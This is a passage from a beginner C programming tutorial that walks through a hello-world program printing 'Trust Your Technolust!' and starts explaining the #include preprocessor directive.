... For the first example we are going to output 'Trust Your Technolust' onto the console. After I will example what the lines of code do. [code] #include <stdio.h> int main() { printf("Trust Your Technolust!\n"); return 0; } [/code] Compile this with your compiler and run the executable. If everything went well it should display 'Trust Your Technolust!' on the console. Now I will explain what each of these lines is doing. 1. #include <stdio.h> #include is a preprocessor directive which tells the preprocessor to include the file 'stdio.h'. The file stdio.h contains all the function prototypes for standard inpu ...
